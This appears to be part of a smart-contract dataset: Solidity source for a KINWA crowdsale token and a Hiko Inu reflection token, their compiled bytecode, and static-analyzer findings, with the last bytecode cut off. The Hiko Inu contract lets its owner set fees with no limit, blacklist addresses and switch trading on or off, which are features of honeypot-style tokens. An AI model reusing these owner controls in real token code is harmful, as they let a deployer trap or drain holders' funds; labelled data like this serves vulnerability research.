setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { revert(); } _; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { revert(); } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } contract MintableToken is StandardToken, Ownable { bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); event Mint(address indexed to, uint256 amount); event MintFinished(); modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { revert(); } _; } modifier canMint() { require(!mintingFinished); _; } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyMintAgent canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyMintAgent public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract CrowdsaleToken is ReleasableToken, MintableToken { string public name = "KINWA Token"; string public symbol = "KINWA"; uint public decimals = 8; function CrowdsaleToken() public { owner = msg.sender; totalSupply_ = 0; } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } //lock team address by crowdsale function addLockAddress(address addr, uint lock_time) onlyMintAgent inReleaseState(false) public { super.addLockAddressInternal(addr, lock_time); } }
0x6060604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302f652a3811461015857806305d2035b1461017e57806306fdde03146101a5578063095ea7b31461022f57806318160ddd1461025157806323b872dd1461027657806329ff4f531461029e5780632f30cd5f146102bd578063313ce567146102df57806340c10f19146102f257806342c1867b1461031457806343214675146103335780635f412d4f14610357578063661884631461036a57806370a082311461038c5780637d64bcb4146103ab578063867c2857146103be5780638da5cb5b146103dd57806393a1fb661461040c57806395d89b411461042b578063961325211461043e578063a9059cbb14610451578063d1f276d314610473578063d73dd62314610486578063dd62ed3e146104a8578063f2fde38b146104cd575b600080fd5b341561016357600080fd5b61017c600160a060020a036004351660243515156104ec565b005b341561018957600080fd5b61019161054d565b604051901515815260200160405180910390f35b34156101b057600080fd5b6101b8610556565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101f45780820151838201526020016101dc565b50505050905090810190601f1680156102215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023a57600080fd5b610191600160a060020a03600435166024356105f4565b341561025c57600080fd5b610264610660565b60405190815260200160405180910390f35b341561028157600080fd5b610191600160a060020a0360043581169060243516604435610666565b34156102a957600080fd5b61017c600160a060020a03600435166106e3565b34156102c857600080fd5b61017c600160a060020a0360043516602435610748565b34156102ea57600080fd5b610264610798565b34156102fd57600080fd5b610191600160a060020a036004351660243561079e565b341561031f57600080fd5b610191600160a060020a03600435166108ae565b341561033e57600080fd5b61017c600160a060020a036004351660243515156108c3565b341561036257600080fd5b61017c61095f565b341561037557600080fd5b610191600160a060020a0360043516602435610991565b341561039757600080fd5b610264600160a060020a0360043516610a8b565b34156103b657600080fd5b610191610aa6565b34156103c957600080fd5b610191600160a060020a0360043516610b0c565b34156103e857600080fd5b6103f0610b21565b604051600160a060020a03909116815260200160405180910390f35b341561041757600080fd5b610264600160a060020a0360043516610b30565b341561043657600080fd5b6101b8610b42565b341561044957600080fd5b610191610bad565b341561045c57600080fd5b610191600160a060020a0360043516602435610bbd565b341561047e57600080fd5b6103f0610c38565b341561049157600080fd5b610191600160a060020a0360043516602435610c47565b34156104b357600080fd5b610264600160a060020a0360043581169060243516610ceb565b34156104d857600080fd5b61017c600160a060020a0360043516610d16565b60035433600160a060020a0390811691161461050757600080fd5b60045460009060a060020a900460ff161561052157600080fd5b50600160a060020a03919091166000908152600560205260409020805460ff1916911515919091179055565b60075460ff1681565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ec5780601f106105c1576101008083540402835291602001916105ec565b820191906000526020600020905b8154815290600101906020018083116105cf57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b600454600090849060a060020a900460ff1615156106aa57600160a060020a03811660009081526005602052604090205460ff1615156106a557600080fd5b6106cf565b600160a060020a0381166000908152600660205260409020544210156106cf57600080fd5b6106da858585610d75565b95945050505050565b60035433600160a060020a039081169116146106fe57600080fd5b60045460009060a060020a900460ff161561071857600080fd5b506004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526008602052604090205460ff16151561076f57600080fd5b60045460009060a060020a900460ff161561078957600080fd5b6107938383610ef5565b505050565b600b5481565b600160a060020a03331660009081526008602052604081205460ff1615156107c557600080fd5b60075460ff16156107d557600080fd5b6001546107e8908363ffffffff610f8b16565b600155600160a060020a038316600090815260208190526040902054610814908363ffffffff610f8b16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60086020526000908152604090205460ff1681565b60035433600160a060020a039081169116146108de57600080fd5b60075460ff16156108ee57600080fd5b600160a060020a03821660009081526008602052604090819020805460ff19168315151790557f4b0adf6c802794c7dde28a08a4e07131abcff3bf9603cd71f14f90bec7865efa908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60045433600160a060020a0390811691161461097a57600080fd5b6007805460ff1916600117905561098f610fa1565b565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156109ee57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610a25565b6109fe818463ffffffff610fe216565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a03331660009081526008602052604081205460ff161515610acd57600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60056020526000908152604090205460ff1681565b600354600160a060020a031681565b60066020526000908152604090205481565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ec5780601f106105c1576101008083540402835291602001916105ec565b60045460a060020a900460ff1681565b600454600090339060a060020a900460ff161515610c0157600160a060020a03811660009081526005602052604090205460ff161515610bfc57600080fd5b610c26565b600160a060020a038116600090815260066020526040902054421015610c2657600080fd5b610c308484610ff4565b949350505050565b600454600160a060020a031681565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c7f908363ffffffff610f8b16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610d3157600080fd5b600160a060020a0381161515610d4657600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610d8c57600080fd5b600160a060020a038416600090815260208190526040902054821115610db157600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610de457600080fd5b600160a060020a038416600090815260208190526040902054610e0d908363ffffffff610fe216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610e42908363ffffffff610f8b16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610e88908363ffffffff610fe216565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460009060a060020a900460ff1615610f0f57600080fd5b600160a060020a0383161515610f2457600080fd5b600160a060020a038316600090815260066020526040908190208390557f54e19054a1330969af2ba12533c0e1a194afee1d0b4a0940d94ca8b550ad7728908490849051600160a060020a03909216825260208201526040908101905180910390a1505050565b600082820183811015610f9a57fe5b9392505050565b60045433600160a060020a03908116911614610fbc57600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a179055565b600082821115610fee57fe5b50900390565b60008080600160a060020a038516151561100d57600080fd5b600160a060020a03331660009081526020819052604090205484111561103257600080fd5b600160a060020a03331660009081526020819052604090205461105b908563ffffffff610fe216565b600160a060020a033381166000908152602081905260408082209390935590871681522054611090908563ffffffff610f8b16565b60008087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405190815260200160405180910390a361111185600160a060020a03166111f3565b156111e657611140857f29e9a3b9000000000000000000000000000000000000000000000000000000006111fb565b156111e6575083600160a060020a0381166329e9a3b93383876000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156111ca57600080fd5b6102c65a03f115156111db57600080fd5b505050604051805150505b600192505b505092915050565b6000903b1190565b60008080611229857f01ffc9a7000000000000000000000000000000000000000000000000000000006112c8565b9092509050811580611239575080155b1561124757600092506111eb565b611271857fffffffff000000000000000000000000000000000000000000000000000000006112c8565b909250905081158061128257508015155b1561129057600092506111eb565b61129a85856112c8565b90925090506001821480156112af5750806001145b156112bd57600192506111eb565b506000949350505050565b6000807f01ffc9a70000000000000000000000000000000000000000000000000000000060405181815284600482015260208160208389617530fa935080519250505092509290505600a165627a7a7230582098e7b68545178c1d914ee6a5bf9fafe270a194517e7538746b51c6dc74f2b1810029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,691
0x1579d058918f339c945802ffac81762e432cd0b8
/** *Submitted for verification at Etherscan.io on 2021-12-31 */ // Telegram: https://t.me/HikoInu // Website: https://HikoInu.com // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HikoInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hiko Inu"; string private constant _symbol = "HIKO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _distroFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _distroFeeOnSell = 1; uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _distroFee = _distroFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousDistroFee = _distroFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x8D6321DaA9228a9cCE8DCC6D418277D7bd2Fa26c); address payable private _devAddress = payable(0xC0e6666d7A3F9771ACD154d9e036615beCBB3118); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**9; //0.5% of total supply per txn uint256 public _maxWalletSize = 20000000 * 10**9; //2% of total supply uint256 public _swapTokensAtAmount = 100000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_distroFee == 0 && _taxFee == 0) return; _previousDistroFee = _distroFee; _previousTaxFee = _taxFee; _distroFee = 0; _taxFee = 0; } function restoreAllFee() private { _distroFee = _previousDistroFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _distroFee = _distroFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _distroFee = _distroFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.div(9).mul(8)); _devAddress.transfer(amount.div(9).mul(1)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _distroFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 distroFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(distroFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _distroFeeOnBuy = distroFeeOnBuy; _distroFeeOnSell = distroFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set Max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd792841461059a578063c3c8cd80146105d7578063dd62ed3e146105ee578063ea1644d51461062b576101a6565b806398a5c3151461050b578063a2a957bb14610534578063a9059cbb1461055d576101a6565b80638da5cb5b116100c65780638da5cb5b146104615780638f70ccf71461048c5780638f9a55c0146104b557806395d89b41146104e0576101a6565b8063715018a6146103f657806374010ece1461040d5780637d1db4a514610436576101a6565b80632fd689e3116101595780636b999053116101335780636b999053146103505780636d8aa8f8146103795780636fc3eaec146103a257806370a08231146103b9576101a6565b80632fd689e3146102cf578063313ce567146102fa57806349bd5a5e14610325576101a6565b8062b8cf2a146101ab57806306fdde03146101d4578063095ea7b3146101ff5780631694505e1461023c57806318160ddd1461026757806323b872dd14610292576101a6565b366101a657005b600080fd5b3480156101b757600080fd5b506101d260048036038101906101cd919061286e565b610654565b005b3480156101e057600080fd5b506101e961077e565b6040516101f6919061293f565b60405180910390f35b34801561020b57600080fd5b5061022660048036038101906102219190612997565b6107bb565b60405161023391906129f2565b60405180910390f35b34801561024857600080fd5b506102516107d9565b60405161025e9190612a6c565b60405180910390f35b34801561027357600080fd5b5061027c6107ff565b6040516102899190612a96565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190612ab1565b61080f565b6040516102c691906129f2565b60405180910390f35b3480156102db57600080fd5b506102e46108e8565b6040516102f19190612a96565b60405180910390f35b34801561030657600080fd5b5061030f6108ee565b60405161031c9190612b20565b60405180910390f35b34801561033157600080fd5b5061033a6108f7565b6040516103479190612b4a565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190612b65565b61091d565b005b34801561038557600080fd5b506103a0600480360381019061039b9190612bbe565b610a0d565b005b3480156103ae57600080fd5b506103b7610abf565b005b3480156103c557600080fd5b506103e060048036038101906103db9190612b65565b610b31565b6040516103ed9190612a96565b60405180910390f35b34801561040257600080fd5b5061040b610b82565b005b34801561041957600080fd5b50610434600480360381019061042f9190612beb565b610cd5565b005b34801561044257600080fd5b5061044b610d74565b6040516104589190612a96565b60405180910390f35b34801561046d57600080fd5b50610476610d7a565b6040516104839190612b4a565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae9190612bbe565b610da3565b005b3480156104c157600080fd5b506104ca610e55565b6040516104d79190612a96565b60405180910390f35b3480156104ec57600080fd5b506104f5610e5b565b604051610502919061293f565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d9190612beb565b610e98565b005b34801561054057600080fd5b5061055b60048036038101906105569190612c18565b610f37565b005b34801561056957600080fd5b50610584600480360381019061057f9190612997565b610fee565b60405161059191906129f2565b60405180910390f35b3480156105a657600080fd5b506105c160048036038101906105bc9190612b65565b61100c565b6040516105ce91906129f2565b60405180910390f35b3480156105e357600080fd5b506105ec61102c565b005b3480156105fa57600080fd5b5061061560048036038101906106109190612c7f565b6110a6565b6040516106229190612a96565b60405180910390f35b34801561063757600080fd5b50610652600480360381019061064d9190612beb565b61112d565b005b61065c6111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e090612d0b565b60405180910390fd5b60005b815181101561077a5760016010600084848151811061070e5761070d612d2b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061077290612d89565b9150506106ec565b5050565b60606040518060400160405280600881526020017f48696b6f20496e75000000000000000000000000000000000000000000000000815250905090565b60006107cf6107c86111cc565b84846111d4565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061081c84848461139f565b6108dd846108286111cc565b6108d8856040518060600160405280602881526020016136a660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088e6111cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b039092919063ffffffff16565b6111d4565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109256111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a990612d0b565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a156111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9990612d0b565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b006111cc565b73ffffffffffffffffffffffffffffffffffffffff1614610b2057600080fd5b6000479050610b2e81611b67565b50565b6000610b7b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c88565b9050919050565b610b8a6111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612d0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cdd6111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6190612d0b565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610dab6111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2f90612d0b565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f48494b4f00000000000000000000000000000000000000000000000000000000815250905090565b610ea06111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2490612d0b565b60405180910390fd5b8060188190555050565b610f3f6111cc565b73fffffffffffff